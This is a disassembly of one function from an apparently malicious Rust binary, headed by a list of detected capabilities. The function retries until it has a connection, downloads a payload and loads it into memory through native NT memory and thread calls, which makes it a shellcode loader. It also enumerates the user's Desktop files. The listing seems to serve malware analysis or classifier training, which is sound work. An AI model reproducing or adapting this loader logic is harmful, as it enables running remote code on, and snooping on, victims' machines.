Function at 0x14000574c
Capabilities:
Allocate or change rwx memory
Check if file exists
Create thread
Enumerate files on windows
Execute shellcode via indirect call
Get common file path
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0xe48
lea rbp, [rsp + 0x80]
movaps xmmword [rbp + 0xdb0], xmm6
mov qword [rbp + 0xda8], 0xfffffffffffffffe
mov r13, rdx
mov r15, rcx
movzx eax, byte [rcx + 0x148]
movabs r12, 0x8000000000000000
test eax, eax
mov qword [rbp + 0xd30], rcx
mov qword [rbp + 0xd98], rdx
je 0x140005e2e
cmp eax, 3
jne 0x1400057db
lea r14, [r15 + 0x140]
movzx eax, byte [r15 + 0x140]
test eax, eax
je 0x140005e3d
cmp eax, 3
je 0x14000590e
lea rcx, str._async_fn__resumed_after_completionunable_to_find_any_user_specified_roots_in_the_final_cert_chainC:Users_fhnir.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_util_0.7.10_srcutilpoll_buf.rs
lea r8, str.srcmain.rs
jmp 0x1400057e9
lea rcx, str._async_fn__resumed_after_completionunable_to_find_any_user_specified_roots_in_the_final_cert_chainC:Users_fhnir.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_util_0.7.10_srcutilpoll_buf.rs
lea r8, str.srcmain.rs
push 0x23
pop rdx
call fcn.1400a8850
mov qword [r15], rdx
lea rdx, str.https:__code.visualstudio.com_downloadFailed_to_read_response_body_n
lea rsi, [rbp + 0x670]
push 0x26
pop r8
mov rcx, rsi
call fcn.14007a288
cmp qword [rsi], r12
jne 0x14000583a
mov rax, qword [rbp + 0x678]
mov qword [rbp + 0xb48], rax
mov qword [rbp + 0xb40], 2
lea rcx, [0x1400b16a8]
call fcn.14001222d
jmp 0x14000584d
lea rcx, [rbp + 0xb40]
lea rdx, [rbp + 0x670]
call fcn.1400022af
mov rax, qword [r15]
lock inc qword [rax]
jle 0x1400070cb
lea rsi, [rbp + 0x420]
mov qword [rsi + 0x110], rax
lea rdx, [rbp + 0xb40]
mov r8d, 0x110
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
cmp dword [rsi], 2
je 0x1400058a1
lea rdx, [rbp + 0x4a8]
lea rsi, [rbp + 0xb10]
mov rcx, rsi
call fcn.14007b913
cmp qword [rsi], r12
jne 0x140005ad1
lea rcx, [rbp + 0x8d0]
lea rdx, [rbp + 0x420]
mov r8d, 0x118
call sub.VCRUNTIME140.dll_memcpy
cmp dword [rbp + 0x8d0], 2
jne 0x1400058d8
mov rax, qword [rbp + 0x8d8]
mov qword [rbp + 0x20], 2
mov qword [rbp + 0x28], rax
jmp 0x1400058ef
lea r8, [rbp + 0x8d0]
mov rdx, qword [r8 + 0x110]
lea rcx, [rbp + 0x20]
call fcn.14006fb25
lea rcx, [rbp + 0x9e0]
call fcn.14006fb16
lea rcx, [r15 + 8]
lea rdx, [rbp + 0x20]
mov r8d, 0x138
call sub.VCRUNTIME140.dll_memcpy
lea rsi, [r15 + 8]
lea rdi, [rbp + 0x670]
mov rcx, rdi
mov rdx, rsi
mov r8, r13
call fcn.140070e6c
mov rbx, qword [rdi]
cmp rbx, 4
je 0x140005f31
lea rdi, [rbp + 0xc50]
lea rdx, [rbp + 0x670]
mov r8d, 0x98
mov rcx, rdi
call sub.VCRUNTIME140.dll_memcpy
mov rcx, rsi
call fcn.140001d10
cmp dword [rdi], 3
jne 0x1400059a6
lea rax, str.No_internet_connection._Retrying_in_3_seconds..._n
lea rcx, [rbp + 0x670]
mov qword [rcx], rax
mov qword [rcx + 8], 1
lea rax, [0x14010e570]
mov qword [rcx + 0x10], rax
xorps xmm0, xmm0
movups xmmword [rcx + 0x18], xmm0
call fcn.14008f660
push 3
pop rcx
call fcn.140088750
lea rcx, [rbp + 0xc50]
call fcn.140001a28
jmp 0x1400057f4
mov qword [rbp + 0xce8], rbx
lea r13, [0x14010e570]
lea rax, str.Internet_connection_detected._n
lea rsi, [rbp + 0x670]
mov qword [rsi], rax
push 1
pop rdi
mov qword [rsi + 8], rdi
mov qword [rsi + 0x10], r13
xorps xmm6, xmm6
movups xmmword [rsi + 0x18], xmm6
mov rcx, rsi
call fcn.14008f660
lea rcx, [rbp + 0xc50]
call fcn.140001a28
mov rcx, r15
call fcn.14006fb16
mov byte [r15 + 0x140], 1
mov rcx, r15
call fcn.140001fce
and qword [rbp + 0x8d0], 0
mov qword [rbp + 0x8d8], rdi
and qword [rbp + 0x8e0], 0
lea rdi, str.rjthnjht
push 8
pop r12
lea r15, str.Failed_to_download._Retrying..._n
lea rbx, [rbp + 0x20]
push 5
pop r14
mov rcx, rsi
mov rdx, rdi
mov r8, r12
call fcn.14000232d
cmp dword [rbp + 0x670], 3
jne 0x140005a82
mov qword [rbp + 0x20], r15
mov qword [rbp + 0x28], 1
mov qword [rbp + 0x30], r13
movups xmmword [rbp + 0x38], xmm6
mov rcx, rbx
call fcn.14008f660
mov rcx, r14
call fcn.140088750
cmp dword [rbp + 0x670], 3
jne 0x140005a34
mov rcx, rsi
call fcn.140001905
jmp 0x140005a34
lea rsi, [rbp + 0x20]
lea rdx, [rbp + 0x670]
mov r8d, 0xc0
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
lea rdi, [rbp + 0x420]
lea r8, [rbp + 0x8d0]
mov rcx, rdi
mov rdx, rsi
call fcn.1400017e4
cmp qword [rdi], 0
je 0x140005b73
mov rax, qword [rbp + 0x428]
mov qword [rbp + 0xb48], rax
jmp 0x140005d9d
lea rsi, [rbp + 0xb28]
mov rax, qword [rsi - 8]
mov rdi, rbp
mov qword [rdi + 0x10], rax
movups xmm0, xmmword [rsi - 0x18]
movaps xmmword [rdi], xmm0
lea rbx, [rbp + 0x670]
lea rdx, [rbp + 0x420]
mov r8d, 0x118
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rbp + 0xd00]
mov rdx, rdi
mov r8, rsi
call fcn.14007bade
movups xmm0, xmmword [0x1400ddee0]
movaps xmmword [rbp + 0xb00], xmm0
movups xmm1, xmmword [0x1400dded0]
movaps xmmword [rbp + 0xaf0], xmm1
cmp dword [rbx], 2
jne 0x140005d35
lea rcx, [rbp + 0x8d0]
lea rdx, [rbp + 0x670]
mov r8d, 0x118
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rbp + 0xd00]
call fcn.140012217
lea rcx, [rbp + 0xaf0]
call fcn.140013d5b
jmp 0x1400058ba
cmp qword [rbp + 0x428], 0
push 0xffffffffffffffff
pop rax
mov qword [rbp + 0xd60], rax
je 0x140005e83
mov ebx, 0x2000
lea rax, [rbp + 0x8d0]
mov rdx, qword [rax + 0x10]
lea r15, [rbp + 0x420]
lea r14, str._rustc_6672c16afcd4db8acdf08a6984fd4107bf07632clibrary_std_srciomod.rs
xor edi, edi
mov r8, qword [rbp + 0x8d0]
mov rax, r8
or rax, rdx
jne 0x140005bf7
mov rcx, r15
lea rdx, [rbp + 0x20]
lea r8, [rbp + 0x8d0]
call fcn.1400017e4
cmp qword [rbp + 0x420], 0
jne 0x140005abe
cmp qword [rbp + 0x428], 0
mov rdx, qword [rbp + 0x8e0]
je 0x140005f85
mov r8, qword [rbp + 0x8d0]
cmp rdx, r8
jne 0x140005c30
lea rcx, [rbp + 0x8d0]
mov rdx, r8
push 0x20
pop r8
call fcn.140033914
movabs rcx, 0x8000000000000001
cmp rax, rcx
jne 0x140005f5f
mov r8, qword [rbp + 0x8d0]
mov rdx, qword [rbp + 0x8e0]
sub r8, rdx
add rdx, qword [rbp + 0x8d8]
cmp r8, rbx
mov qword [rbp + 0xd48], rbx
mov rsi, rbx
cmovb rsi, r8
mov rcx, rsi
mov r9, r14
call fcn.140001000
mov rbx, rax
mov r14, rdx
mov r8, r14
sub r8, rdi
jb 0x140006ddf
add rdi, rbx
mov rcx, rdi
xor edx, edx
call sub.VCRUNTIME140.dll_memset
mov rcx, r14
mov rdx, rbx
mov r8, r14
lea r9, [0x1400ad858]
call fcn.140001000
mov r9, rdx
mov rcx, r15
lea rdx, [rbp + 0x20]
mov r8, rax
call fcn.14007be3b
cmp qword [rbp + 0x420], 0
je 0x140005cd1
mov rdi, qword [rbp + 0x428]
mov rcx, rdi
call fcn.14000189e
test al, al
je 0x140005d96
mov qword [rbp + 0x420], rdi
mov rcx, r15
call fcn.140001be7
mov rdi, r14
jmp 0x140005c5c
mov rax, qword [rbp + 0x428]
mov rdi, r14
sub rdi, rax
jb 0x140006f67
test rax, rax
je 0x140005f6e
mov rdx, qword [rbp + 0x8e0]
add rdx, rax
cmp r14, rsi
push 0xffffffffffffffff
pop r8
mov rbx, qword [rbp + 0xd48]
cmovne rbx, r8
lea rcx, [rbx + rbx]
test rbx, rbx
cmovs rcx, r8
cmp rax, rsi
cmovne rcx, rbx
mov qword [rbp + 0x8e0], rdx
cmp rsi, rbx
cmovae rbx, rcx
lea r14, str._rustc_6672c16afcd4db8acdf08a6984fd4107bf07632clibrary_std_srciomod.rs
jmp 0x140005bab
lea rdx, [rbp - 0x20]
movaps xmmword [rdx + 0x10], xmm0
movaps xmmword [rdx], xmm1
movups xmm0, xmmword [rbp + 0xd00]
movups xmm1, xmmword [rbp + 0xd10]
lea r8, [rbp + 0x8d0]
movaps xmmword [r8 + 0x10], xmm1
movaps xmmword [r8], xmm0
mov eax, dword [rbp + 0xd21]
mov dword [r8 + 0x21], eax
mov eax, dword [rbp + 0xd24]
mov dword [r8 + 0x24], eax
lea rcx, [rbp + 0x698]
mov byte [r8 + 0x20], 1
call fcn.1400138cb
lea rcx, [rbp + 0x8d0]
lea rdx, [rbp + 0x670]
jmp 0x1400058af
mov qword [rbp + 0xb48], rdi
mov qword [rbp + 0xb40], 1
lea rax, [0x1400adc08]
lea rcx, [rbp + 0x420]
mov qword [rcx], rax
mov qword [rcx + 8], 1
mov qword [rcx + 0x10], r13
xorps xmm0, xmm0
movups xmmword [rcx + 0x18], xmm0
call fcn.14008f660
lea rcx, [rbp + 0xb40]
call fcn.140001fbe
lea rcx, [rbp + 0x20]
call fcn.140001e45
cmp dword [rbp + 0x670], 3
jne 0x140005dfb
lea rcx, [rbp + 0x670]
call fcn.140001905
mov rcx, qword [rbp + 0x8d0]
mov rdx, qword [rbp + 0x8d8]
call fcn.140030fc9
push 5
pop rcx
call fcn.140088750
mov r15, qword [rbp + 0xd30]
movabs r12, 0x8000000000000000
mov r13, qword [rbp + 0xd98]
lea r14, [r15 + 0x140]
mov byte [r15 + 0x140], 0
lea rsi, [rbp + 0x20]
mov rcx, rsi
call fcn.14007b760
mov rcx, rsi
call fcn.14006e53b
test rax, rax
je 0x1400057f1
lea r8, [rbp + 0x20]
mov qword [r8], rdx
lea rax, str.C:Users_fhnir.cargo_registry_srcindex.crates.io_6f17d22bba15001f_reqwest_0.11.24_src_async_implclient.rstrust_dns_shouldnt_be_enabled_unless_the_feature_is
mov qword [rsp + 0x20], rax
lea rcx, [0x1400ddc6e]
lea r9, fcn.140037dc6
push 0xd
pop rdx
call fcn.1400a8c20
xorps xmm0, xmm0
movaps xmmword [rbp + 0xb40], xmm0
mov rax, qword [rbp + 0x8e0]
mov qword [rbp + 0xd48], rax
lea rcx, [rbp + 0xb40]
call fcn.140001fbe
mov rbx, qword [rbp + 0x8d0]
mov rdi, qword [rbp + 0x8d8]
lea rcx, [rbp + 0x20]
call fcn.140001e45
cmp dword [rbp + 0x670], 3
jne 0x140005ed3
lea rcx, [rbp + 0x670]
call fcn.140001905
movabs rax, 0x8000000000000000
cmp rbx, rax
je 0x140005e0e
push 5
pop rcx
call fcn.140088750
movups xmm0, xmmword [0x1400afecc]
lea rcx, [rbp + 0x670]
movaps xmmword [rcx], xmm0
lea rsi, [rbp + 0x420]
and qword [rsi], 0
xor edx, edx
xor r8d, r8d
mov r9, rsi
call qword [sym.imp.shell32.dll_SHGetKnownFolderPath]
mov rcx, qword [rsi]
test eax, eax
mov qword [rbp + 0xcf0], rdi
je 0x140005fa0
call qword [sym.imp.ole32.dll_CoTaskMemFree]
jmp 0x140005ff5
mov byte [r14], 3
mov cl, 3
cmp ebx, 4
sete al
mov byte [r15 + 0x148], cl
movaps xmm6, xmmword [rbp + 0xdb0]
add rsp, 0xe48
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
movabs rax, 0x2600000003
jmp 0x140005ac5
mov rax, qword [rbp + 0x8e0]
mov qword [rbp + 0xd48], rax
mov qword [rbp + 0xb48], rax
jmp 0x140005f93
mov qword [rbp + 0xd48], rdx
mov qword [rbp + 0xb48], rdx
and qword [rbp + 0xb40], 0
jmp 0x140005e9b
call qword [sym.imp.kernel32.dll_lstrlenW]
movsxd r8, eax
mov rdx, qword [rbp + 0x420]
lea rsi, [rbp + 0x20]
mov rcx, rsi
call fcn.14008a680
mov rcx, qword [rbp + 0x420]
call qword [sym.imp.ole32.dll_CoTaskMemFree]
mov rax, qword [rsi]
movups xmm0, xmmword [rsi + 8]
movaps xmmword [rbp + 0xd00], xmm0
mov rcx, qword [rsi + 0x18]
mov qword [rbp + 0xd10], rcx
movabs rcx, 0x8000000000000000
cmp rax, rcx
jne 0x1400062f5
lea rax, str.Unable_to_get_the_users_home_directory_n
lea rcx, [rbp + 0x20]
mov qword [rcx], rax
mov qword [rcx + 8], 1
mov qword [rcx + 0x10], r13
xorps xmm0, xmm0
movups xmmword [rcx + 0x18], xmm0
call fcn.14008f8c0
push 5
pop rcx
call fcn.140088750
call fcn.140034c79
mov rsi, rax
mov rcx, rsi
call fcn.14000215a
bt eax, 0x1e
jb 0x14000602b
mov rcx, rsi
call fcn.14003410d
lea rdx, str.https:__quan.suning.com_getSysTime.dosysTime1
lea rsi, [rbp + 0x670]
push 0x25
pop r8
mov rcx, rsi
call fcn.14000232d
mov rdi, qword [rsi]
cmp rdi, 3
je 0x140006f7c
lea rdx, [rbp + 0x680]
mov r14, qword [rdx - 8]
lea rsi, [rbp + 0x430]
mov r8d, 0xb0
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
mov qword [rsi - 0x10], rdi
mov qword [rsi - 8], r14
lea rsi, [rbp + 0x8d0]
lea rdx, [rbp + 0x420]
mov rcx, rsi
call fcn.140003ada
mov rax, qword [rsi]
test rax, rax
je 0x140006f85
mov rdx, qword [rbp + 0x8d8]
movups xmm0, xmmword [rbp + 0x8e0]
lea rcx, [rbp + 0xc50]
movups xmmword [rcx + 0x10], xmm0
movups xmm0, xmmword [rbp + 0x8f0]
movups xmmword [rcx + 0x20], xmm0
mov qword [rcx], rax
mov qword [rcx + 8], rdx
call fcn.1400016a3
test rax, rax
je 0x140006f8e
mov rdx, qword [rax + 8]
mov r8, qword [rax + 0x10]
lea rsi, [rbp + 0x670]
mov rcx, rsi
call fcn.1400114c0
cmp byte [rsi], 0
jne 0x140006f9a
push 3
pop rcx
call fcn.140088750
lea rdx, str.https:__quan.suning.com_getSysTime.dosysTime1
push 0x25
pop r8
mov rcx, rsi
call fcn.14000232d
mov rdi, qword [rsi]
cmp rdi, 3
je 0x140006fb3
lea rdx, [rbp + 0x680]
mov r14, qword [rdx - 8]
lea rsi, [rbp + 0x30]
mov r8d, 0xb0
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
mov qword [rsi - 0x10], rdi
mov qword [rsi - 8], r14
lea rdi, [rbp + 0x8d0]
lea rdx, [rbp + 0x20]
mov rcx, rdi
call fcn.140003ada
mov rax, qword [rdi]
test rax, rax
je 0x140006fbc
mov rdx, qword [rbp + 0x8d8]
movups xmm0, xmmword [rbp + 0x8e0]
lea rcx, [rbp + 0xb40]
movups xmmword [rcx + 0x10], xmm0
movups xmm0, xmmword [rbp + 0x8f0]
movups xmmword [rcx + 0x20], xmm0
mov qword [rcx], rax
mov qword [rcx + 8], rdx
call fcn.1400016a3
test rax, rax
je 0x140006ff2
mov rdx, qword [rax + 8]
mov r8, qword [rax + 0x10]
lea rsi, [rbp + 0x670]
mov rcx, rsi
call fcn.1400114c0
cmp byte [rsi], 0
jne 0x140006ffe
lea rcx, [rbp + 0xb40]
call fcn.140001918
lea rcx, [rbp + 0xc50]
call fcn.140001918
lea rsi, [rbp + 0x420]
and qword [rsi], 0
lea r14, [rbp + 0x670]
mov r13, qword [rbp + 0xd48]
mov qword [r14], r13
and dword [rbp + 0x8d0], 0
call fcn.140034c79
mov r15, rax
mov rcx, rax
call fcn.14000215a
mov r12d, eax
and r12d, 1
or r12d, 0x1000
mov rcx, r15
call fcn.14003410d
mov dword [rsp + 0x20], r12d
mov dword [rsp + 0x28], 0x40
push 0xffffffffffffffff
pop r15
mov rcx, r15
mov rdx, rsi
xor r8d, r8d
mov r9, r14
call qword [sym.imp.ntdll.dll_NtAllocateVirtualMemory]
mov rdx, qword [rsi]
and qword [rsp + 0x20], 0
mov rcx, r15
mov r12, qword [rbp + 0xcf0]
mov r8, r12
mov r9, r13
call qword [sym.imp.ntdll.dll_NtWriteVirtualMemory]
mov qword [rsp + 0x20], rdi
push 0x50
pop r9
mov rcx, r15
mov rdx, rsi
mov r8, r14
call qword [sym.imp.ntdll.dll_NtProtectVirtualMemory]
lea rdi, [rbp + 0x20]
and qword [rdi], 0
mov rax, qword [rsi]
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
movups xmmword [rsp + 0x38], xmm0
and dword [rsp + 0x30], 0
mov qword [rsp + 0x20], rax
and qword [rsp + 0x28], 0
mov rcx, rdi
mov edx, 0x2000000
xor r8d, r8d
mov r9, r15
call qword [sym.imp.ntdll.dll_NtCreateThreadEx]
mov rcx, qword [rdi]
xor edx, edx
xor r8d, r8d
call qword [sym.imp.ntdll.dll_NtWaitForSingleObject]
mov rcx, rbx
mov rdx, r12
call fcn.140030fc9
mov cl, 1
mov r15, qword [rbp + 0xd30]
mov rbx, qword [rbp + 0xce8]
jmp 0x140005f37
lea rsi, [rbp + 0xb10]
mov qword [rsi], rax
movaps xmm0, xmmword [rbp + 0xd00]
movups xmmword [rsi + 8], xmm0
mov rax, qword [rbp + 0xd10]
mov qword [rsi + 0x18], rax
lea rdx, str.Desktop
push 7
pop r8
mov rcx, rsi
call case.0x14008cf01.45
mov rdx, qword [rsi + 8]
mov r8, qword [rsi + 0x10]
lea rsi, [rbp + 0x20]
mov rcx, rsi
call fcn.14000b720
cmp qword [rsi], 0
jne 0x14000704a
mov r14, qword [rbp + 0x30]
test r14, r14
je 0x140006453
js 0x140007056
mov rsi, qword [rbp + 0x28]
mov al, byte [0x1401172e0]
xor ecx, ecx
mov rdx, r14
call fcn.1400909c0
test rax, rax
je 0x14000705b
mov qword [rbp + 0xd88], rax
mov rcx, rax
mov rdx, rsi
mov r8, r14
call sub.VCRUNTIME140.dll_memcpy
mov al, byte [0x1401172e0]
xor ecx, ecx
mov rdx, r14
call fcn.1400909c0
test rax, rax
je 0x140007066
mov rdi, rax
mov rcx, rax
mov rdx, rsi
mov r8, r14
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rbp + 0x20]
mov qword [rcx], r14
mov qword [rcx + 8], rdi
mov qword [rcx + 0x10], r14
mov byte [rcx + 0x18], 0
lea rdx, [0x1400e58e0]
push 1
pop r8
call case.0x14008cf01.45
lea rcx, [rbp + 0x20]
mov rax, qword [rcx]
mov qword [rbp + 0xd68], rax
mov rdx, qword [rcx + 8]
mov r8, qword [rcx + 0x10]
mov byte [rbp + 0xda6], 1
mov qword [rbp + 0xd70], rdx
call fcn.140088120
mov rdx, qword [rbp + 0x20]
push 2
pop rax
mov dword [rbp + 0xd7c], eax
movabs rax, 0x8000000000000000
cmp rdx, rax
jne 0x140006469
mov rsi, qword [rbp + 0x28]
lea r14, [rbp + 0x670]
mov r15, qword [rbp + 0xd70]
cmp qword [rbp + 0xd68], 0
je 0x1400064f8
mov r13, rsi
push 1
pop rdx
mov rcx, r15
call fcn.140007680
mov dil, 1
jmp 0x1400064fe
movabs r13, 0x300000002
lea r14, [rbp + 0x670]
jmp 0x14000651b
mov rsi, qword [rbp + 0x28]
mov rax, qword [rbp + 0x30]
mov qword [rbp + 0xc50], rdx
mov qword [rbp + 0xc58], rsi
mov qword [rbp + 0xc60], rax
cmp rax, 3
mov qword [rbp + 0xd40], r14
jbe 0x1400064d9
movabs rcx, 0x5c003f005c005c
cmp qword [rsi], rcx
je 0x1400065d5
movabs rcx, 0x5c003f003f005c
cmp qword [rsi], rcx
je 0x1400065d5
cmp rax, 0xf8
jae 0x1400066be
cmp word [rsi + 2], 0x3a
jne 0x1400065ae
movzx eax, word [rsi + 4]
jmp 0x14000658b
je 0x140006577
cmp rax, 1
jne 0x1400065a8
cmp word [rsi], 0
jne 0x1400066be
jmp 0x1400065d5
mov dil, 1
mov r13, rsi
xor esi, esi
mov r15, qword [rbp + 0xd88]
push 1
pop rdx
mov rcx, r15
call fcn.140007680
test dil, dil
je 0x14000694e
mov qword [rbp + 0x420], r13
lea rsi, [rbp + 0x420]
mov qword [rbp + 0x670], rsi
lea rax, str.Unable_to_read_the_users_desktop_file_list:
lea rcx, [rbp + 0x20]
mov qword [rcx], rax
mov qword [rcx + 8], 2
and qword [rcx + 0x20], 0
lea rax, [fcn.14008ced0]
mov qword [rbp + 0x678], rax
mov qword [rcx + 0x10], r14
mov qword [rcx + 0x18], 1
call fcn.14008f8c0
mov rcx, rsi
call fcn.140001be7
jmp 0x140006cdd
cmp word [rsi + 2], 0x3a
jne 0x1400065ae
movzx eax, word [rsi + 4]
test ax, ax
je 0x140006dc5
cmp ax, 0x2f
je 0x140006599
movzx eax, ax
cmp eax, 0x5c
jne 0x1400065ae
movzx eax, word [rsi]
cmp eax, 0x2f
je 0x1400065b1
cmp eax, 0x5c
je 0x1400065b1
jmp 0x1400065d5
jbe 0x1400066be
movzx eax, word [rsi]
cmp ax, 0x5c
je 0x1400065c3
movzx eax, ax
cmp eax, 0x2f
jne 0x1400066be
movzx eax, word [rsi + 2]
cmp eax, 0x2f
je 0x1400065d5
cmp eax, 0x5c
jne 0x1400066be
lea r14, [rbp + 0x670]
mov r15, qword [rbp + 0xd70]
mov qword [rbp + 0xd80], rdx
mov rdi, rsi
lea rsi, [rbp + 0x20]
mov r8d, 0x250
mov rcx, rsi
xor edx, edx
call sub.VCRUNTIME140.dll_memset
mov qword [rbp + 0xd98], rdi
mov rcx, rdi
mov rdx, rsi
call qword [sym.imp.kernel32.dll_FindFirstFileW]
cmp rax, 0xffffffffffffffff
je 0x14000685f
mov r12, rax
mov al, byte [0x1401172e0]
push 0x30
pop rdx
xor ecx, ecx
call fcn.1400909c0
test rax, rax
je 0x14000707a
mov r13, rax
push 1
pop rax
mov qword [r13], rax
mov qword [r13 + 8], rax
mov rcx, qword [rbp + 0xd40]
mov qword [r13 + 0x10], rcx
mov rax, qword [rbp + 0xd88]
mov qword [r13 + 0x18], rax
mov qword [r13 + 0x20], rcx
mov byte [r13 + 0x28], 0
lea rcx, [rbp + 0x670]
lea rdx, [rbp + 0x20]
mov r8d, 0x250
call sub.VCRUNTIME140.dll_memcpy
cmp qword [rbp + 0xd80], 0
mov rcx, qword [rbp + 0xd98]
je 0x140006696
push 2
pop rdx
call fcn.140007680
mov sil, 1
push 1
pop rax
mov dword [rbp + 0xd7c], eax
cmp qword [rbp + 0xd68], 0
je 0x140006947
xor edi, edi
mov qword [rbp + 0xd60], r12
jmp 0x140006507
mov qword [rbp + 0xd98], rsi
lea rax, [rbp + 0xb40]
and qword [rax], 0
mov qword [rax + 8], 2
and qword [rax + 0x10], 0
mov edi, 0x200
push 2
pop rax
mov qword [rbp + 0xd58], rax
xor eax, eax
mov qword [rbp + 0xd38], rax
xor eax, eax
mov qword [rbp + 0xd80], rax
xor r15d, r15d
cmp rdi, 0x201
jae 0x140006729
mov eax, 0x200
mov qword [rbp + 0xd50], rax
lea rax, [rbp + 0x20]
mov r14, rdi
mov rdi, rax
mov rsi, qword [rbp + 0xd98]
jmp 0x1400067a8
sub rdi, r15
mov rax, qword [rbp + 0xd80]
sub rax, r15
cmp rax, rdi
mov rsi, qword [rbp + 0xd98]
jae 0x140006770
lea rcx, [rbp + 0xb40]
mov rdx, r15
mov r8, rdi
call fcn.1400aaf80
mov rax, qword [rbp + 0xb40]
mov qword [rbp + 0xd38], rax
mov rax, qword [rbp + 0xb48]
mov qword [rbp + 0xd58], rax
mov eax, 0xffffffff
mov rcx, qword [rbp + 0xd38]
cmp rcx, rax
mov r15d, 0xffffffff
cmovb r15, rcx
mov qword [rbp + 0xb50], r15
mov qword [rbp + 0xd80], rcx
mov qword [rbp + 0xd50], r15
mov rdi, qword [rbp + 0xd58]
mov r14, r15
xor ecx, ecx
call qword [sym.imp.kernel32.dll_SetLastError]
mov rcx, rsi
mov edx, r14d
mov r8, rdi
xor r9d, r9d
call qword [sym.imp.kernel32.dll_GetFullPathNameW]
mov esi, eax
test eax, eax
jne 0x1400067d6
call qword [sym.imp.kernel32.dll_GetLastError]
test eax, eax
jne 0x1400068ee
mov qword [rbp + 0xd90], rdi
mov edi, esi
cmp r14, rdi
jne 0x14000680a
call qword [sym.imp.kernel32.dll_GetLastError]
cmp eax, 0x7a
jne 0x14000702f
add r14, r14
mov eax, 0xffffffff
cmp r14, rax
cmovae r14, rax
mov rdi, r14
jmp 0x140006701
jb 0x140006701
mov rdx, qword [rbp + 0xd50]
cmp rdx, rdi
jb 0x14000708e
cmp esi, 2
jbe 0x140006cf5
mov r8, qword [rbp + 0xd90]
movzx edx, word [r8 + 2]
lea rax, [0x1400e6390]
push 4
pop rcx
cmp edx, 0x3a
jne 0x140006d3f
cmp word [r8 + 4], 0x5c
jne 0x140006d3f
mov r12, rcx
mov r13, rax
jmp 0x140006e06
call qword [sym.imp.kernel32.dll_GetLastError]
cmp eax, 2
jne 0x140006d08
mov al, byte [0x1401172e0]
push 0x30
pop rdx
xor ecx, ecx
call fcn.1400909c0
test rax, rax
mov rcx, qword [rbp + 0xd98]
je 0x1400070b2
mov r13, rax
push 1
pop rax
mov qword [r13], rax
mov qword [r13 + 8], rax
mov rdx, qword [rbp + 0xd40]
mov qword [r13 + 0x10], rdx
mov rax, qword [rbp + 0xd88]
mov qword [r13 + 0x18], rax
mov qword [r13 + 0x20], rdx
mov byte [r13 + 0x28], 0
cmp qword [rbp + 0xd80], 0
je 0x1400068cd
push 2
pop rdx
call fcn.140007680
xor edi, edi
mov esi, 0
mov dword [rbp + 0xd7c], 0
cmp qword [rbp + 0xd68], 0
jne 0x140006507
jmp 0x14000694e
call qword [sym.imp.kernel32.dll_GetLastError]
mov esi, eax
shl rsi, 0x20
cmp qword [rbp + 0xb40], 0
je 0x140006913
mov rcx, qword [rbp + 0xb48]
push 2
pop rdx
call fcn.140007680
or rsi, 2
cmp qword [rbp + 0xc50], 0
lea r14, [rbp + 0x670]
mov r15, qword [rbp + 0xd70]
je 0x14000642f
mov rcx, qword [rbp + 0xc58]
push 2
pop rdx
call fcn.140007680
jmp 0x14000642f
mov qword [rbp + 0xd60], r12
lea rdi, [rbp + 0x34]
lea rdx, [rbp + 0x670]
mov r8d, 0x254
mov rcx, rdi
call sub.VCRUNTIME140.dll_memcpy
mov qword [rdi - 0x14], r13
mov rax, qword [rbp + 0xd60]
mov qword [rdi - 0xc], rax
mov eax, dword [rbp + 0xd7c]
mov dword [rdi - 4], eax
movzx eax, word [rdi + 0x2c]
movzx edx, word [rdi + 0x2e]
movzx r8d, word [rdi + 0x30]
lea r9, [rbp + 0x66]
mov word [rbp + 0xd88], ax
cmp ax, 0x2e
sete al
test dx, dx
sete cl
mov dword [rbp + 0xd70], edx
xor edx, 0x2e
mov word [rbp + 0xd40], r8w
or dx, r8w
sete dl
mov r8, qword [r9 - 0x32]
mov qword [rbp + 0xcf8], r8
or dl, cl
and dl, al
mov byte [rbp + 0xd38], dl
lea r14, [rbp + 0x420]
mov r12, qword [sym.imp.kernel32.dll_FindNextFileW]
xor r15d, r15d
mov qword [rbp + 0xd68], r13
cmp qword [rbp + 0xd60], 0xffffffffffffffff
je 0x140006c61
not sil
or sil, byte [rbp + 0xd38]
test sil, 1
je 0x140006ad5
mov r8d, 0x250
mov rcx, r14
xor edx, edx
call sub.VCRUNTIME140.dll_memset
mov rcx, qword [rbp + 0xd60]
mov rdx, r14
call r12
test eax, eax
je 0x140006b4b
cmp word [rbp + 0x44c], 0x2e
jne 0x140006a56
movzx eax, word [rbp + 0x44e]
test ax, ax
je 0x140006a1b
cmp ax, 0x2e
jne 0x140006a56
cmp word [rbp + 0x450], 0
je 0x140006a1b
lock inc qword [r13]
jle 0x1400070cb
mov rsi, qword [rbp + 0x420]
lea rax, [rbp + 0x428]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
movaps xmmword [rbp + 0xc50], xmm0
movaps xmmword [rbp + 0xc60], xmm1
mov eax, dword [rax + 0x20]
mov dword [rbp + 0xc70], eax
movzx eax, word [rbp + 0x44c]
mov word [rbp + 0xd90], ax
movzx eax, word [rbp + 0x44e]
mov word [rbp + 0xd50], ax
movzx eax, word [rbp + 0x450]
mov word [rbp + 0xd58], ax
mov r8d, 0x21e
lea rcx, [rbp + 0x8d0]
lea rdx, [rbp + 0x452]
call sub.VCRUNTIME140.dll_memcpy
jmp 0x140006b6c
lock inc qword [r13]
jle 0x1400070cb
lea rcx, [rbp + 0x34]
mov eax, dword [rcx + 0x28]
mov dword [rbp + 0xc70], eax
movups xmm0, xmmword [rcx + 8]
movups xmm1, xmmword [rcx + 0x18]
movaps xmmword [rbp + 0xc60], xmm1
movaps xmmword [rbp + 0xc50], xmm0
mov r8d, 0x21e
lea rcx, [rbp + 0x8d0]
lea rdx, [rbp + 0x66]
call sub.VCRUNTIME140.dll_memcpy
